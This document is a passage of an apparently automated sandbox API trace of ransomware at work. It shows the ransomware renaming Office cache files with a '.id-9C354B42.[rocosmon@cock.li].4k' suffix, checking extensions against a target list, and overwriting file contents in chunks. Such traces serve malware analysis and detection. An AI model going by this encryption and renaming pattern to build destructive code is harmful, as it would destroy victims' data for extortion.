	[0101.048] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.048] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.048] ReadFile (in: hFile=0x208, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.349] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.349] WriteFile (in: hFile=0x208, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0101.381] SetEndOfFile (hFile=0x208) returned 1
	[0101.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0101.381] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.381] WriteFile (in: hFile=0x208, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.383] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.383] WriteFile (in: hFile=0x208, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.549] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.549] WriteFile (in: hFile=0x208, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0101.551] CloseHandle (hObject=0x208) returned 1
	[0101.552] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.552] lstrlenW (lpString=".doc") returned 4
	[0101.552] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.552] lstrlenW (lpString=".docx") returned 5
	[0101.552] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0101.552] lstrlenW (lpString=".pdf") returned 4
	[0101.552] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.552] lstrlenW (lpString=".xls") returned 4
	[0101.552] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.552] lstrlenW (lpString=".xlsx") returned 5
	[0101.552] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0101.552] lstrlenW (lpString=".ppt") returned 4
	[0101.553] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.553] lstrlenW (lpString=".zip") returned 4
	[0101.553] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.553] lstrlenW (lpString=".rar") returned 4
	[0101.553] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.553] lstrlenW (lpString=".bz2") returned 4
	[0101.553] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.553] lstrlenW (lpString=".7z") returned 3
	[0101.553] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.553] lstrlenW (lpString=".dbf") returned 4
	[0101.553] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.553] lstrlenW (lpString=".1cd") returned 4
	[0101.553] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.553] lstrlenW (lpString=".jpg") returned 4
	[0101.553] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.553] lstrlenW (lpString=".doc") returned 4
	[0101.553] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.553] lstrlenW (lpString=".docx") returned 5
	[0101.553] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0101.553] lstrlenW (lpString=".pdf") returned 4
	[0101.553] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.554] lstrlenW (lpString=".xls") returned 4
	[0101.554] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.554] lstrlenW (lpString=".xlsx") returned 5
	[0101.554] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0101.554] lstrlenW (lpString=".ppt") returned 4
	[0101.554] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.554] lstrlenW (lpString=".zip") returned 4
	[0101.554] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.554] lstrlenW (lpString=".rar") returned 4
	[0101.554] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.555] lstrlenW (lpString=".bz2") returned 4
	[0101.555] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.555] lstrlenW (lpString=".7z") returned 3
	[0101.555] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.555] lstrlenW (lpString=".dbf") returned 4
	[0101.555] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.555] lstrlenW (lpString=".1cd") returned 4
	[0101.555] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0101.555] lstrlenW (lpString=".jpg") returned 4
	[0101.555] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.555] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0101.555] lstrlenW (lpString="Office32WW.msi") returned 14
	[0101.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0101.556] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=1992192) returned 1
	[0101.556] CloseHandle (hObject=0x208) returned 1
	[0101.556] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020
	[0101.556] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.556] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0101.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0101.557] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0101.557] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.557] ReadFile (in: hFile=0x208, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.605] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.606] ReadFile (in: hFile=0x208, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.668] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.668] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.668] ReadFile (in: hFile=0x208, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.786] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.786] WriteFile (in: hFile=0x208, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0101.902] SetEndOfFile (hFile=0x208) returned 1
	[0101.902] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f802b8
	[0101.917] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.917] WriteFile (in: hFile=0x208, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.918] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.918] WriteFile (in: hFile=0x208, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.920] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.920] WriteFile (in: hFile=0x208, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.922] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0101.922] CloseHandle (hObject=0x208) returned 1
	[0101.922] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.923] lstrlenW (lpString=".doc") returned 4
	[0101.923] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.923] lstrlenW (lpString=".docx") returned 5
	[0101.923] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0101.923] lstrlenW (lpString=".pdf") returned 4
	[0101.923] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.923] lstrlenW (lpString=".xls") returned 4
	[0101.923] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.923] lstrlenW (lpString=".xlsx") returned 5
	[0101.923] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0101.923] lstrlenW (lpString=".ppt") returned 4
	[0101.923] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.923] lstrlenW (lpString=".zip") returned 4
	[0101.923] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.923] lstrlenW (lpString=".rar") returned 4
	[0101.923] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.923] lstrlenW (lpString=".bz2") returned 4
	[0101.923] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.923] lstrlenW (lpString=".7z") returned 3
	[0101.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.923] lstrlenW (lpString=".dbf") returned 4
	[0101.923] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.923] lstrlenW (lpString=".1cd") returned 4
	[0101.926] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.926] lstrlenW (lpString=".jpg") returned 4
	[0101.926] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.926] lstrlenW (lpString=".doc") returned 4
	[0101.926] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.926] lstrlenW (lpString=".docx") returned 5
	[0101.926] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0101.926] lstrlenW (lpString=".pdf") returned 4
	[0101.926] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.926] lstrlenW (lpString=".xls") returned 4
	[0101.926] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.926] lstrlenW (lpString=".xlsx") returned 5
	[0101.926] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0101.926] lstrlenW (lpString=".ppt") returned 4
	[0101.926] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.927] lstrlenW (lpString=".zip") returned 4
	[0101.927] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.927] lstrlenW (lpString=".rar") returned 4
	[0101.927] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.927] lstrlenW (lpString=".bz2") returned 4
	[0101.927] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.927] lstrlenW (lpString=".7z") returned 3
	[0101.927] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.927] lstrlenW (lpString=".dbf") returned 4
	[0101.927] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.927] lstrlenW (lpString=".1cd") returned 4
	[0101.927] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0101.927] lstrlenW (lpString=".jpg") returned 4
	[0101.927] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.927] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0101.927] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0101.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0101.939] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=36233052) returned 1
	[0101.939] CloseHandle (hObject=0x18c) returned 1
	[0101.939] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020
	[0101.939] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.939] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0101.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0101.940] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0101.940] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.940] ReadFile (in: hFile=0x18c, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.937] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.937] ReadFile (in: hFile=0x18c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0103.044] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.044] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0103.044] ReadFile (in: hFile=0x18c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0103.158] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.158] WriteFile (in: hFile=0x18c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0103.175] SetEndOfFile (hFile=0x18c) returned 1
	[0103.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0103.176] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0103.176] WriteFile (in: hFile=0x18c, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0103.176] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0103.176] WriteFile (in: hFile=0x18c, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0103.177] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0103.177] WriteFile (in: hFile=0x18c, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0103.180] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0103.180] CloseHandle (hObject=0x18c) returned 1
	[0103.180] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0103.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.180] lstrlenW (lpString=".doc") returned 4
	[0103.181] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString=".docx") returned 5
	[0103.181] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0103.181] lstrlenW (lpString=".pdf") returned 4
	[0103.181] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString=".xls") returned 4
	[0103.181] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString=".xlsx") returned 5
	[0103.181] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0103.181] lstrlenW (lpString=".ppt") returned 4
	[0103.181] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.181] lstrlenW (lpString=".zip") returned 4
	[0103.181] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString=".rar") returned 4
	[0103.181] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0103.181] lstrlenW (lpString=".bz2") returned 4
	[0103.181] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0103.181] lstrlenW (lpString=".7z") returned 3
	[0103.181] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0103.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0103.181] lstrlenW (lpString=".dbf") returned 4
